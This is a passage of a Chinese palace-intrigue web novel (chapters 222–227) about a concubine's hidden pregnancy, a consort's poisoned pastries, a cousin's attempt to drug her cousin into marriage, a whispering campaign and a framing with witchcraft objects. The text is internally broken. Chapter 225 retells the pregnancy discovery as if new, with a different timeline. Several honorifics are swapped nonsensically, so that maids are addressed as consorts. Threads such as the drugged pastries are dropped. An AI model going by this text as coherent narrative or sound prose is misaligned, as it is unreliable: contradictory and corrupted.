顾夫人叹息着抚摸她的发:“傻孩子,不是你的错。你放心,姑母一定会让凛鹤回心转意的。”
顾奚慈抬头,眼中闪过一丝算计:“姑母,我听说皇宫里要举行祈福大典,不如我们也去参加,或许能求得菩萨保佑……”
第222章 丽妃有孕
青灯漏透窗纸,苔蘅殿一片静谧。
宫中太平了数日,丽妃无意间发现自己已有月余未见红,甚至也时常不曾有胃口,总有恶心之象,一时欣喜若狂。
她本欲告知皇上这个好消息,却转念一想,谢妤近日失了颜面,定会将怒火撒向她人。
若知自己有孕在身,恐怕后果不堪设想。
幽暗的夜色中,丽妃裹紧披风,小心翼翼地避开宫中巡逻的侍卫,偷偷溜进了苔蘅殿。
“娘娘!”丽妃一见到阿孟,眼泪便夺眶而出,扑通一声跪在地上。
阿孟微微一惊,连忙搀扶她起身:“这是怎么了?深夜来访,如此慌张?”
丽妃左右张望,见无人在侧,这才俯身在阿孟耳边低语:“娘娘,我……我好像有孕了。”
“当真?”阿孟眉头微挑,示意云珠和半夏退下。
待宫人退去,丽妃才小声道:“已有月余未见红了,且近日食欲大增,偶有晨起恶心之症……”
阿孟拉她入座,为她倒了杯温水:“不必惊慌,我给你把脉看看。”
她细细诊过,眉头微蹙:“确实有喜脉,怕是有月余了。”
丽妃既喜且忧,眼中闪烁着泪光:“娘娘,我该如何是好?若谢贵妃知晓,必定……”
“不必担忧,”阿孟轻抚她的手背,声音沉稳,“且先别声张。”
丽妃咬唇低头:“可是……宫中耳目众多,我这身子变化,迟早会被人发觉。谢贵妃对我恨之入骨,她若知道我怀了龙嗣,定会……”
阿孟眸光一冷:“她若动你,便是动皇嗣,即便心有不轨,也要掂量掂量。”
“可她权势熏天,手段狠毒……”丽妃声音颤抖,“红豆的下场历历在目,我不敢想……”
阿孟微微沉思,随即对丽妃道:“此事需从长计议。一来,我会为你配些安胎药物,能稳住胎息;二来,我有法子能掩人耳目,让旁人以为你仍在每月见红。”
丽妃眼中闪过一丝惊讶:“这……这如何做到?”
“宫中医术,不过尔尔。”阿孟淡淡一笑,眼中却透着坚定,“我自有方法。先用药物控制你的孕期反应,再用特制的药汁涂在布帛上,形似月信,可瞒过宫人耳目。”
丽妃惊叹不已:“娘娘果真神通广大!”
“不过是些小把戏罢了。”阿孟眼中闪过一丝疲惫,“只是你自己也要小心,平日避开谢妤耳目,切勿流露异常。若有不适,便称身子不适,来我这避上一避。”
丽妃感激涕零:“娘娘待我恩重如山,此生难报……”
“无需如此。”阿孟轻叹,“你腹中骨肉无辜,我不忍见你受害罢了。”
丽妃犹豫片刻,又道:“可若皇上前来召幸……我该如何应对?”
“你近日装作身子不适,推脱几次。”阿孟沉思道,“待过了危险期,再告知皇上喜讯不迟。”
“我怕谢贵妃会从中作梗……”丽妃低声道,目光中满是担忧。
阿孟眼中闪过一丝冷意:“她若真敢伤你腹中龙嗣,便是大不敬之罪。即便皇上宠她,也容不得这等大罪。你只管安心养胎,其余事情,我自有打算。”
丽妃眼见阿孟神情坚定,心中不由得安定许多:“谢娘娘成全,若得皇子降生,妾身定铭记娘娘大恩。”
“说这些做什么,”阿孟轻笑道,“我这就给你抓些安胎药,你且每日按时服用。宫中之事,步步为营,切不可操之过急。”
“娘娘教诲,妾身谨记于心。”丽妃双手接过药包,小心收入袖中。
夜更深了,阿孟亲自送丽妃至殿门外,叮嘱道:“回去路上小心,若有异样,即刻遣人来报。”
丽妃点头应下,身影很快消失在夜色中。
朝露宫内,烛火摇曳。
谢妤立于宫中,环顾四周,空荡的寝宫令她愈发恼怒。
没了红豆,连最基本的更衣都变得不顺手。她指尖轻叩案几,眸中寒光闪烁。
“青竹,传本宫口谕,着掖庭挑选几名机灵伶俐的宫女前来侍奉。”
“是,娘娘。”青竹匆匆退下。
翌日,掖庭五名挑选出的宫女战战兢兢地立在朝露宫
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外。她们互相推搡,无人敢率先踏入宫门。
传闻红豆因祈福大典一事,被谢贵妃推出去顶罪,下场凄惨,无人不胆寒。
谢妤立于高台,目光如刀剑般一一扫过,唇边满是不屑。
“尔等怎如此怯懦?莫非觉得本宫可怕?”她声音冰冷,指尖轻敲案几。
五名宫女齐齐跪下,不敢抬头。
“奴婢不敢,只是惶恐难当,恐无法侍奉好娘娘。”一名年长宫女颤声答道。
谢妤冷笑一声:“很好,既如此害怕,本宫便满足你们的心愿,不必入本宫宫中服侍了。”她挥袖道,“全部退下!”
宫女们如蒙大赦,连连叩首,迅速退去。
谢妤咬牙切齿,心中恼怒不已。刚要发作,忽见一名面生的宫女缓步入殿,与退出的宫女擦肩而过。
这宫女约莫十六七岁,容貌清秀,并无特别之处,却偏生一副胆大妄为的模样,径直走到谢妤脚边跪下。
“奴婢绿萝,见过贵妃娘娘。”她声音轻柔,目光却直直望向谢妤,不卑不亢。
谢妤微微皱眉:“你是何人?谁让你进来的?”
“奴婢是掖庭新来的宫女,听闻贵妃娘娘需要贴身宫女,特来恳请娘娘垂怜。”绿萝声音甜美,眼中满是恳切。
谢妤冷笑:“本宫身边侍奉,不是那么容易的。”
绿萝不慌不忙,从袖中取出手帕,突然伸手轻轻抹去谢妤鞋面上一丝尘埃。
“娘娘金枝玉叶,岂容半点尘埃玷污?奴婢虽才疏学浅,却愿用尽全力侍奉娘娘。”
此举出乎谢妤意料,她神色微动,盯着绿萝看了许久,才道:“你可知红豆的下场?”
绿萝眼中闪过一丝不易察觉的异色,但很快恢复平静:“奴婢知晓。红豆姐姐太过愚蠢,擅作主张,冒犯圣驾,罪该万死。”
谢妤闻言眼中闪过一丝满意:“哦?你倒是看得分明。”
“娘娘乃一人之下,万人之上,岂容下人僭越?”绿萝微微抬头,目光清澈,“红豆姐姐本该更加谨慎行事,以免让娘娘蒙羞。”
第223章 顾家是非
谢妤轻笑一声:“你倒会说话。”她绕着绿萝走了一圈,“你可知本宫脾气不好,若惹恼了本宫,比红豆更惨的下场也不是没有。”
绿萝不卑不亢地回道:“奴婢心甘情愿。若能侍奉娘娘,纵是粉身碎骨也在所不惜。”
谢妤眯起眼睛,原本想再试探几句,却被绿萝眼中的野心所打动。
“好,那便留下吧。”她转身回到座位,“从今日起,你便跟在本宫身边,细心伺候。若有半点差池……”
“奴婢必当谨记娘娘教诲,绝不敢有丝毫懈怠。”绿萝连忙叩首,却在抬头时唇角微不可察地勾起一丝冷笑。
谢妤将这一切尽收眼底,心中反而更加满意。这宫女有心机,却知进退,比那些只知道哭哭啼啼的废物强多了。
“起来吧,先伺候本宫梳妆。”谢妤命道。
绿萝展示出远超年龄的熟练手法,不多时便将谢妤打扮得更加明艳动人。
“你手法不错,莫非从前也在宫中伺候过贵人?”谢妤状似不经意地问道。
绿萝手上动作不停:“回娘娘,奴婢在民间时曾给一户大户人家的小姐梳妆,后来阴差阳错入了宫。”
谢妤点点头,不再追问,已然决定留下她。
顾府偏院内,顾奚慈神情凝重地来回踱步,手中紧握着一个青瓷小瓶。
管家前几日回报说顾凛鹤又去宫门外守候,为的就是盼着能远远看一眼那位孟贵妃的身影。
一想到这,她心头便如火烧般难受。
“凛鹤表哥,你为何一心念着那孟贵妃?”顾奚慈轻抚着瓷瓶,眼中闪过一丝决绝,“既然你不愿回头,那表妹只好用些手段了。”
她低头看了眼手中的瓷瓶,这是她花重金从南疆商人手中买来的奇药。
只消几滴,便能让人沉沉昏睡,意识全无。到那时,她便可以生米煮成熟饭。
到那时,只要旁人都知晓她名声尽毁,她不信顾家不会迎娶自己进门。
“小姐,公子回来了。”丫鬟春桃走进院中,轻声禀报。
顾奚慈连忙收敛心神,将瓷瓶藏入袖中:“快,去准备些热茶来。”
不多时,顾凛鹤便踏入院门。他神色疲惫,眉宇间却仍带着挥之不去的执念。
“凛鹤表哥,你可回来了。”顾奚慈迎上前去,语气中充满关切,“外面天寒地冻,你又去宫门外了吧?”
顾凛鹤勉强一笑:“表妹,你怎在此处?”
“我担心表哥身子骨熬不住,特地备了热茶。”顾奚慈亲自接过丫鬟手中的茶盘,将茶盏递到顾凛鹤面前,眼神温柔如水。
顾凛鹤垂眸看了眼茶盏,并未接过:“多谢表妹好意,只是我不渴。”
“表哥,这么冷的天,喝口热茶暖暖身子。”顾奚慈坚持道,眼中闪过一丝焦急,“我可是特地命人煮的。”
顾凛鹤看着她期盼的目光,犹豫片刻后终是接过茶盏。
只是他并未立刻饮下,而是轻轻嗅了嗅:“这茶……香气有些特别。”
顾奚慈心头一紧,强自镇定道:“是南方新进的茶叶,味道自然与寻常不同。”
“是吗?”顾凛鹤微微一笑,状似无意地说道,“前几日听闻城南有人买了南疆奇药,价格不菲啊。”
顾奚慈神色微变,却很快恢复平静:“表哥说笑了,奇药岂是寻常人能买到的。”
顾凛鹤看着她紧张的神色,眼中闪过一丝了然。他深知这位从小一起长大的表妹对自己的情意,只是他心中早已住着另一个人。
“也罢,今日确实乏了。”顾凛鹤故作疲态,一饮而尽。
顾奚慈眼中闪过一丝喜色,却又极力掩饰:“表哥快些歇息吧,我让人准备热水,你沐浴后好好睡一觉。”
不多时,顾凛鹤便躺在床榻上,似已沉沉睡去。
顾奚慈屏退下人,轻手轻脚地走到床前,伸手试探性地推了推他的肩膀。
“凛鹤表哥?”她轻声唤道,见他毫无反应,心中大定。
顾奚慈深吸一口气,轻轻拉开顾凛鹤的衣领:“表哥,你定要恨我,可我实在是……”她的声音哽咽,“我实在是不忍看你为那孟贵
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妃痴迷成疾,那孟贵妃高高在上,又怎会看上你?”
“她不会,但我会。”一个冰冷的声音突然响起。
顾奚慈惊得后退数步,不可置信地看着一脸清醒的顾凛鹤。
“你……你没有昏睡?”
顾凛鹤冷笑一声,从床上坐起:“表妹,我们从小一起长大,你以为我看不出你的心思吗?”
“表哥,我……我只是……”顾奚慈慌乱中不知该如何辩解。
“你只是不择手段想要得到我。”顾凛鹤语气中充满失望,“我一直把你当亲妹妹,没想到你竟会用这种卑劣手段。”
顾奚慈眼中泪水滚落:“我只是太爱你了!你明知道我对你的心意,却非要去追逐那遥不可及的孟贵妃!”
“无论她多遥远,我心中只有她一人。”顾凛鹤坚定地说道,“表妹,若你真心为我好,就该祝福我,而不是用这种方式强留我身边。”
顾奚慈双膝一软,跪倒在地:“表哥……我……”
“起来。”顾凛鹤叹了口气,“今日之事,我不会告诉任何人。但你若再有这等心思,我顾凛鹤与你恩断义绝。”
顾奚慈含泪抬头,见顾凛鹤眼中只有冷漠,再无半点温情,心如刀绞。
“我……我知道错了。”她哽咽着说道,“只求表哥不要恨我……”
顾凛鹤转身背对着她:“回去吧,以后好自为之。”
月光洒满庭院,照出一地寒霜。顾奚慈踉踉跄跄地离去,背影孤单而凄凉。
次日清晨,顾府后花园亭中。顾夫人端坐在花梨木椅上,眉宇间浮现几分不悦。
“奚慈,你这孩子,怎能做出如此鲁莽之事?”顾夫人声音不大,却足够严厉,“药物迷人,若传出去,我顾家颜面何存?”
顾奚慈跪坐在蒲团上,低垂着头:“姑母教训得是,是奚慈太过糊涂。”
“糊涂?这哪是糊涂?”顾夫人冷哼一声,“是痴傻!为了一时冲动,不顾后果。”
顾凛鹤抿唇立于一旁,眉宇间压着几分倦色,仿佛一夜未眠。
第224章 我不在乎
“表妹自小心悦于我,我心中有数。”顾凛鹤轻声道,“是我未曾点明,才让她抱了希望。”
顾奚慈猛地抬头,眼中含泪:“表哥何必如此说?这事是我一人所为,与你无关。”
“无关?”顾夫人冷笑,目光转向儿子,心里也知道顾凛鹤此番是有担当,不愿意污了顾奚慈名声,“凛鹤,那孟贵妃高高在上,皇上身边红颜无数,你却执迷不悟,这不是自寻苦吃吗?”
“儿子知道,可心之所向,难以自制。”
“你知道个什么!”顾夫人拍案而起,“你可知满京城多少人盯着咱们顾家?你若惹了祸事,整个顾家都要跟着受牵连!”
顾凛鹤沉默片刻,眼中闪过一丝倔强:“母亲,您放心,儿子不会给顾家招祸。”
“不会?”顾夫人讥讽一笑,“你天天守在宫门外,这事早就传遍京城了。若你执意如此,将来只怕连亲事都难觅!”
“我不在乎。”
“你不在乎,我在乎!”顾夫人怒道,“你是顾家长子,顾家百年基业,难道要毁在你手上?”
亭中一时陷入沉默,只闻风过竹叶沙沙作响。
良久,顾奚慈低声道:“姑母,是我的错。凛鹤表哥一直待我如亲妹妹,我却心存非分之想,险些酿成大错。”
顾夫人叹了口气:“你们二人皆是糊涂。奚慈,你那般做法,若真得逞了,岂不毁了两个人的一生?”
“是,奚慈知错了。”她咬唇垂泪,不敢抬头。
顾夫人又转向儿子:“凛鹤,孟贵妃乃九五之尊的嫔妃,你一介书生,高攀不起。若再执迷不悟,为娘只好请皇上做主,将你送往边疆去历练,不得再回京城肖想其他!”
顾凛鹤面色一变:“母亲!”
“别以为我不敢!”顾夫人厉声道,“宁可你恨我,也不能看你自寻死路!”
顾奚慈见状,急忙跪地求情:“姑母息怒,表哥知错了,他再不会守在宫门了,对吗,表哥?”
顾凛鹤目光深沉,看了顾奚慈一眼,语气却十分淡漠:“儿子明白了。”
顾夫人缓缓坐下,面色稍霁:“奚慈,你起来吧。此事我就当作从未发生,但你也该收敛心思。莫要再惹你表哥生气了。”
顾奚慈擦泪起身:“是。”
“凛鹤,近日便暂留府中,别再出去惹是生非。”顾夫人语气缓和几分,“过些日子,为娘给你相看几位闺秀,你也该考虑成家立业了。”
顾凛鹤未语,只是低头作揖。
顾夫人见状,摇头叹气:“都下去吧,各自反省。”
不仅顾家,宫墙内,暗流涌动。
绿萝轻手轻脚进入寝殿,恭敬跪地:“娘娘,奴婢有事禀报。”
谢妤正在描眉,闻言手微微一顿:“何事?”
“奴婢这几日留心观察,发现孟贵妃频繁出入丽妃宫殿,几乎每日必去,且每次都待上许久。”
谢妤眉头一皱,放下手中描眉的小刷子:“哦?当真如此?”
“千真万确。前日奴婢跟着去了趟御花园采花,远远看见孟贵妃匆匆往丽妃那边去,神色还有些紧张。”
谢妤冷笑一声,不动声色地摆弄着面前的首饰:“那丽妃倒是好本事,竟能和孟贵妃走得这般近。”
绿萝垂眸不语,心思却极为活络。
她暗中观察着主子的表情,试探道:“娘娘,奴婢以为此事有些蹊跷。那孟贵妃向来独来独往,此番却与丽妃亲近,怕是另有图谋。”
“你说得不错。”谢妤指尖轻敲桌面,眼中闪过一丝寒光,“那**向来心机深重,与丽妃来往必有所图。”
“娘娘英明。”绿萝附和道,“若能查清她们的目的,或许对娘娘大有助益。”
谢妤思索片刻,忽然嘴角勾起一抹冷笑:“绿萝,你去准备些宫中名点,就说是本宫赏赐丽妃的。”
“娘娘是要……”
“丽妃最近身体欠安,本宫身为姐妹,自然要表示一番关心。”谢妤意味深长地说,眼中闪烁着阴冷的光芒。
绿萝低头掩饰眼中的精光:“奴婢这就去准备。”
待绿萝退下,谢妤从梳妆台抽屉中取出一个精致的小
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瓷瓶,倒出几粒细小的粉末在掌心。她冷笑着看着这些粉末,心中已有算计。
不多时,绿萝带着精美的点心回来。谢妤亲自将药粉撒在几块点心上,动作轻巧得几乎看不出异样。
“娘娘,这药粉会有什么效果?”绿萝小心翼翼地问道。
“不过是让人小腹不适,头晕目眩罢了,不会要命。”谢妤轻描淡写地道,“本宫只是想试探一下丽妃和那**的关系。若丽妃真有异样,看那孟贵妃如何反应。”
绿萝聪明地道:“若孟贵妃过分着急,定是二人有不可告人的秘密。”
“正是。”谢妤满意地点头,“你去送这些点心,记得言语谦和,不可露出破绽。”
绿萝领命而去,谢妤独自站在窗前,望着远处宫殿的飞檐。
走到大门口时,绿萝并没有亲自进去,而是换来了殿内宫人,请他们替自己送进去。
阿孟凤眸微眯,轻嗅着面前精致的点心。
“娘娘,这是谢贵妃娘娘特意为丽妃娘娘送来的点心,说是听闻丽妃娘娘近日身体不适,特意备了这些应季名点。”丽妃的宫女恭敬地说道。
阿孟素指轻轻拈起一块桂花糕,嘴角勾起一抹若有若无的笑意。
只轻轻一嗅,她便察觉出其中的异样。那药粉气味极淡,寻常人根本察觉不到,但她跟随贺景行学习医术,这点手段如何瞒得过她?
“放下吧。”阿孟淡淡道,眼底闪过一丝冷意,却并未表露在脸上。
待宫女退下,阿孟从袖中取出银针,轻轻刺入点心。
银针表面瞬间泛起一层暗青色。
“呵,果然。”她冷笑一声,将银针在清水中洗净,又取出一个白瓷小瓶,倒出几粒细小的粉末,均匀地撒在几块点心上。
不过多时,丽妃更衣而来,看到桌上摆着的点心时,不由得抿唇一笑。
“不知孟贵妃竟带了点心过来,我应早些让人备下茶点,这倒显得我失礼了。”
话音刚落,阿孟却摇了摇头。
“并非是我送来的,而是谢贵妃送来的。”
第225章 糕点藏险
丽妃脸上的笑容微微一僵,随即有些不自然地拿起一块糕点看了看:“谢贵妃?她倒是有心了。”
阿孟抬手,示意她莫动。“丽妃还是小心些好。”
丽妃一怔,看向阿孟,见她神色凝重,不似作伪,心头微沉:“贵妃娘娘这话是何意?这糕点……”
“谢妤那个人,丽妃还信不过吗?”阿孟拿起一块点心,放在鼻尖轻嗅,随即用指尖捻了捻,“这里面,加了些不该有的东西。”
丽妃脸色瞬间变得煞白,手里的帕子几乎要被绞碎:“她……”
顿时,丽妃心有余悸,后怕不已:“幸好贵妃娘娘提醒,否则……”
“所以,往后丽妃务必多加小心。”阿孟看着她,“尤其是入口的东西,还有身边伺候的人,都要仔细留意。谢妤此人,睚眦必报,今日不成,难保她没有后招。”
丽妃连连点头,额上渗出细密的冷汗:“我记下了,多谢贵妃娘娘提点。今日若非有你,我只怕……”
“你我如今本就该相互扶持。”阿孟淡淡道,“小心驶得万年船。”
自那日后,丽妃果然谨慎了许多,饮食起居都格外留心。
然而过了十数日,她却渐渐觉得身子有些不对劲。起初只是有些倦怠,后来便发展到食欲不振,闻到些油腻气味便忍不住反胃。
这症状……丽妃心中咯噔一下。她毕竟是过来人,隐隐有了猜测。
她不敢声张,连自己宫里最亲近的宫女也未曾透露分毫,只说自己是夏日暑气重,胃口不好。
可随着日子一天天过去,那感觉越来越明显,她月事也迟迟未至。
一个惊惧的念头在她心中成形,几乎让她站立不稳。
这日午后,丽妃寻了个借口,屏退左右,独自一人悄悄来到阿孟的宫殿外,让心腹宫女进去通传,只说有私密要事相商。
阿孟正在殿内看书,听闻丽妃求见,且神色匆忙,便知有异,立刻让人请她进来。
殿内只留了云珠一人在旁伺候。
丽妃一进殿,便挥退了自己的宫女,快步走到阿孟面前,脸色苍白,嘴唇微微颤抖。
“贵妃娘娘……”她声音发紧,带着难以掩饰的慌乱。
阿孟放下书卷,扶着她坐下:“丽妃怎么了?脸色这般难看。”
丽妃深吸一口气,像是用尽了全身力气,才低声道:“我……我这几日身子总是不爽利,吃不下东西,还时常犯恶心……”她抬起头,眼中满是恐惧和无助,“贵妃娘娘,你说……我会不会是……”
后面的话,她无论如何也说不出口。
阿孟心中一动,面上却不动声色,只温和道:“丽妃先别急,许是最近天气变化,脾胃不适罢了。可否让贵妃娘娘为你看看脉象?”
丽妃如同抓住了救命稻草,忙不迭地伸出手腕。
片刻后,阿孟收回手,眸色深沉了几分。
丽妃紧张地看着她,声音带着哭腔:“怎么样?贵妃娘娘,你快告诉我!”
阿孟沉默了一下,才缓缓开口,声音压得极低:“丽妃……你确实是有身孕了,脉象来看,应有两个月了。”
“轰”的一声,丽妃只觉得脑子炸开了,眼前一阵发黑,身子软软地就要往下滑。
“丽妃!”阿孟眼疾手快地扶住她。
她猛地抓住阿孟的手臂,力气大得惊人:“贵妃娘娘,怎么办?这孩子不能留啊!若是被谢贵妃知道了,他不会放过我的!他一定不会放过我的!”
“丽妃,你冷静些!”阿孟用力握住她的手,试图让她镇定下来,“现在慌乱于事无补,只会坏事。”
“我怎么冷静?”丽妃泪流满面,声音颤抖,“这宫里是什么地方,你我心知肚明!谢妤虎视眈眈,这个孩子一旦被发现,不仅是我,连他都活不了!”
“丽妃,听我说。”阿孟直视着她的眼睛,语气郑重,“事已至此,害怕解决不了任何问题。首先,这件事,绝不能让第三个人知道,包括你宫里最信任的人。”
丽妃含泪点头。
“其次,你信我吗?”阿孟问。
丽妃看着阿孟沉静而坚定的眼神,她哽咽着点头:“信……除了贵妃娘娘,我还能信谁?”
“好。”阿孟道,“既然信我,就听我的安排。这个孩子……我们要想办法保下来。但在此之前,首要的是
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保密,万无一失的保密。”
“好……我听贵妃娘娘的。”她擦去眼泪,声音依旧沙哑,却多了几分强撑的镇定,“你说怎么办,我就怎么办。”
阿孟轻轻拍了拍她的手背。
与此同时,朝露宫内,气氛却不似那般和谐,反而透着一股压抑的躁动。
派去的人盯了许久,除了知道阿孟和丽妃二人时常见面,竟探听不到半点有用的东西。
“废物!一群废物!”谢妤将步摇往妆台上一掷,发出清脆的声响,“养着你们,连这点小事都办不好!本宫要知道她们到底在密谋些什么!”
殿内侍立的宫女太监们吓得噤若寒蝉,大气也不敢出。
只有绿萝,一直垂首侍立在旁,此刻眼珠微动,上前一步,小心翼翼地开口:“娘娘息怒。孟贵妃和丽妃行事谨慎,我们的人一时难以探得实情,也是有的。”
谢妤冷哼一声,斜睨着她:“怎么?你有法子?”
绿萝心中一喜,知道机会来了,面上却愈发恭敬:“奴婢不敢说有十足的把握,只是有个不成熟的想法,或许能探探她们的虚实,至少也能让她们心神不宁。”
“说来听听。”谢妤来了些兴趣,重新拿起那支步摇,漫不经心地把玩着。
绿萝微微躬身,声音压得更低了些:“娘娘,这宫里头,最不缺的就是耳朵和嘴巴。咱们的人虽然查不到实据,但宫人们的好奇心却是最好利用的。孟贵妃入宫时日尚短,根基不深,却骤得高位,本就惹人注目。丽妃近来又深居简出,行踪颇为低调……”
她顿了顿,观察着谢妤的神色,见她并未露出不悦,才继续道:“奴婢想着,不如让人在宫里头悄悄散布些似是而非的传言。不必指名道姓,也不必说得太实,就模糊些,引人遐想便好。”
“模糊些?”谢妤挑眉,“如何模糊?”
“譬如说……就说近来宫中有人行事诡秘,似有不可告人之事。或者说,有人费尽心机拉拢旁人,意图不轨……”绿萝斟酌着词句,“再或者,可以似有若无地提到,丽妃娘娘近来身体似有不适,却又讳莫如深,不知是何缘故……”
第226章 流言四起
她小心翼翼地补充道:“这些话传开了,宫人们自然会往那两人身上联想。一传十,十传百,假的也能传成半真。就算她们听到了,也抓不到咱们的把柄,只能干着急。孟贵妃和丽妃本就心虚,听到这些风言风语,难免不会自乱阵脚。到那时,或许就会露出破绽了。”
谢妤听着,脸上的不耐渐渐散去,取而代之的是一丝玩味的笑意。她放下步摇,坐直了身子,看着绿萝:“你这丫头,倒是有些小聪明。”
这法子虽然上不得台面,却胜在隐蔽,且能恶心人。
“娘娘谬赞了,奴婢只是想为娘娘分忧。”绿萝垂下眼睑,掩去眸中的得意。
谢妤沉吟片刻,心中已然有了计较。她看向绿萝,语气带着几分满意,却也暗含警告:“这主意倒是不错。只是,要办得干净利落,绝不能让人抓住把柄,更不能让人联想到本宫身上。”
她可不想因为这点小事,惹得陛下不快,或者让孟贵妃那个女人抓住反击的机会。
“娘娘放心!”绿萝立刻保证道,“奴婢明白,定会寻那些嘴碎又靠不住的宫人去传,几经转手,任谁也查不到源头。保管保管让她们焦头烂额,却抓不住丝毫证据。奴婢会做得滴水不漏。”绿萝恭顺地回答道。
“滴水不漏?”谢妤轻嗤一声,带着几分讥诮,“这宫里就没有真正滴水不漏的事,要的是出了事,也牵扯不到本宫身上。”
她调整了一下坐姿,语气变得更加冷凝:“找那些平日里爱嚼舌根的,或是与她们宫人有些嫌隙的。”
“让他们不经意间透露出去,点到为止,不必说全,明白吗?”谢妤的目光落在绿萝身上,带着审视。
“奴婢明白。”绿萝低头,“让他们以为是自己听来的风声,或是无心之失。”
“不错。”谢妤微微颔首,眼中闪过一丝赞赏,“这事办好了,本宫自有赏赐。”
绿萝心头一凛,立刻跪下。
“奴婢定不负娘娘所托!”她声音坚定。
谢妤挥了挥手,“去吧。越快越好。”
绿萝叩首后起身,悄无声息地退了出去。
次日午后,御花园一角的凉亭旁,几个浣衣局的小宫女趁着送衣物的间隙在此歇脚闲话。
绿萝端着一碟新做的点心,也“恰巧”路过。
“几位孟贵妃辛苦了,用些点心吧。”绿萝笑盈盈地将碟子递过去。
那几个小宫女平日里难得见到主子娘娘身边的大宫女,受宠若惊,连忙起身道谢。
其中一个胆大些的,名唤小桃,接过一块桂花糕,嘴里道谢,眼睛却不住地往绿萝身上打量:“绿萝丽妃今日怎么有空来这儿?”
绿萝故作随意地掸了掸衣袖上的落花:“我们娘娘午歇了,我左右无事,便出来走走,透透气。”
她顿了顿,像是忽然想起什么:“说起来,这宫里头,最近倒是安静了不少,又好像……没那么安静。”
这话头引得几个小宫女都竖起了耳朵。另一个叫小杏的宫女好奇地问:“丽妃这话怎么说?宫里不一直都这样吗?”
绿萝压低了声音,凑近了些,神神秘秘地说:“你们没觉得?就说丽妃娘娘和那位孟贵妃吧,近来是不是有些……嗯,不太寻常?”
小桃立刻来了兴致:“丽妃也这么觉得?前儿个我去送浣洗衣物,瞧见丽妃娘娘宫里的小太监行色匆匆的,像是藏着什么事儿。”
“可不是嘛!”小杏也接话,“还有孟贵妃宫里,前几日我丽妃当值路过,说瞧见她们宫里的人往外头递东西,鬼鬼祟祟的。”
绿萝听着她们七嘴八舌,眼中闪过一丝不易察觉的笑意,嘴上却故作惊讶:“竟有此事?我还以为是我的错觉呢。只是觉得她们两位近来走动少了,各自宫门都关得紧,不像往日那般……坦荡。”
她故意用了“坦荡”二字,引人遐思。
“谁说不是呢。”小桃撇撇嘴,“以前丽妃娘娘多爱出来逛园子,现在一天到晚闷在宫里。孟贵妃也是,深居简出的,也不知在捣鼓什么。”
绿萝见火候差不多了,便叹了口气:“许是咱们想多了吧。这宫里的事,谁又能说得清呢?只是觉得有些怪
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怪的。”她拿起一块点心,轻轻咬了一口,“罢了,主子们的事,也不是我们这些做奴婢的能议论的。点心吃完了,我也该回去了。”
她起身告辞,留下那几个小宫女意犹未尽,交头接耳地继续猜测起来。
绿萝脚步轻快地离开,心中冷笑。
她要的就是这种效果,不必说实,只需一个引子,这些闲得发慌的宫人自然会添油加醋,编排出无数个版本来。
宫里的风向,悄然变了。
不过几日功夫,一些含沙射影的闲言碎语便如初春的柳絮,看似轻飘飘,却无孔不入,沾染得到处都是。
云珠端着新沏的茶走进来,脸上带着几分按捺不住的气愤:“娘娘,您听说了吗?外面那些人……”
阿孟抬眸看了她一眼,眼神平静无波,示意她继续说。
“她们……她们都在胡吣!”云珠将茶盏重重放在桌上,茶水都溅出来几滴,“说什么宫中有狐媚惑主之人,仗着几分颜色就想攀龙附凤,还……还影射什么子嗣艰难,恐是德行有亏……”
她越说越气:“这些话,明摆着就是冲着娘娘和丽妃娘娘来的!除了咱们两宫,谁还当得起这‘新宠’二字?”
半夏跟在后面,轻轻扯了扯云珠的衣袖,低声道:“云珠丽妃,小声些。”
阿孟放下书卷,端起茶盏,轻轻吹了吹浮沫,动作不疾不徐。
“不必生气。”她淡淡开口,声音听不出喜怒,“这宫里,什么时候缺过流言蜚语?”
云珠急道:“可这次不一样!这些话刁钻得很,句句不提咱们,却又句句都像在说咱们!听着就让人窝火!肯定是有人在背后捣鬼!”
阿孟啜了口茶,温热的茶水顺着喉咙滑下,却暖不了心底的冷意。她当然知道有人捣鬼。
“除了那位昭华宫的谢妤娘娘,还能有谁这么‘费心’?”阿孟的语气带着一丝若有若无的嘲讽。
她想起绿萝那张看似恭顺,实则暗藏精明的脸。
谢妤自己或许不屑于做这种下作事,但她身边那条会咬人的狗,可是机灵得很。
第227章 偷偷定亲
顾夫人面色一沉:“此话当真?”
“千真万确!”顾奚慈急切道,“姑母,您想想,那孟贵妃是什么人?她可是皇上的妃子啊!表哥若与她纠缠不清,岂不是要惹来杀身之祸?顾家百年基业,难道要毁在一个女人手里?”
顾夫人手中的佛珠突然停住,眼中闪过一丝狠厉:“你说得对。凛鹤这孩子太过重情,若不及时制止,只怕真要闯出大祸。”
“姑母,不如趁早为表哥定下亲事?”顾奚慈小心翼翼道,“我听说礼部侍郎家的千金才貌双全,与表哥甚是相配。”
顾夫人沉吟片刻:“此事需从长计议。你先下去吧,我自有打算。”
待顾奚慈退下,顾夫人唤来心腹嬷嬷:“去打听一下,京城中可有适龄的闺秀?家世要好,品性要端庄,最重要的是,要能管得住凛鹤。”
嬷嬷低声道:“夫人,老奴听说兵部尚书家的嫡女今年刚及笄,琴棋书画样样精通,性子也温婉。”
“好,你且去安排,让我见见这位小姐。”顾夫人眼中闪过一丝算计,“此事要瞒着凛鹤,免得他从中作梗。”
那孟贵妃虽好,却终究是皇上的女人,顾凛鹤与她纠缠,只会害了自己,害了顾家。
翌日,顾夫人便以赏花为由,邀了兵部尚书夫人过府一叙。
两位夫人相谈甚欢,顾夫人对那位闺秀更是赞不绝口。
“夫人,您看这亲事如何?”顾夫人试探道。
兵部尚书夫人笑道:“顾公子才貌双全,我家女儿若能嫁入顾家,那是她的福气。”
顾夫人心中暗喜,面上却不露声色:“既然如此,不如让两个孩子见上一面?”
“这……”兵部尚书夫人有些犹豫,“只怕不合规矩。”
“无妨,”顾夫人笑道,“我自有安排。”
当晚,顾夫人便命人备下厚礼,准备择日登门提亲。
她望着院中月色,心中暗道:凛鹤,为娘定要断了你的念想,让你明白,这世上有些事,不是你想就能得到的。
绿萝轻步走进谢妤的寝宫,脸上带着得意的笑容。
“娘娘,奴婢已经办妥了。”绿萝跪在谢妤面前,眼中闪烁着狡黠的光芒。
谢妤放下手中的茶盏,挑眉道:“哦?说来听听。”
“奴婢略施小计,就成功让丽妃失宠。”绿萝压低声音,“那巫蛊之物,是奴婢趁夜放在丽妃宫中的。”
谢妤眼中闪过一丝惊喜:“当真?”
“千真万确。”绿萝得意道,“陛下已经下令让丽妃在宫中思过半月,不得踏出宫门一步。”
谢妤轻笑一声:“你倒是有些手段。”
“娘娘过奖了。”绿萝谦逊道,“奴婢只是为娘娘分忧。”
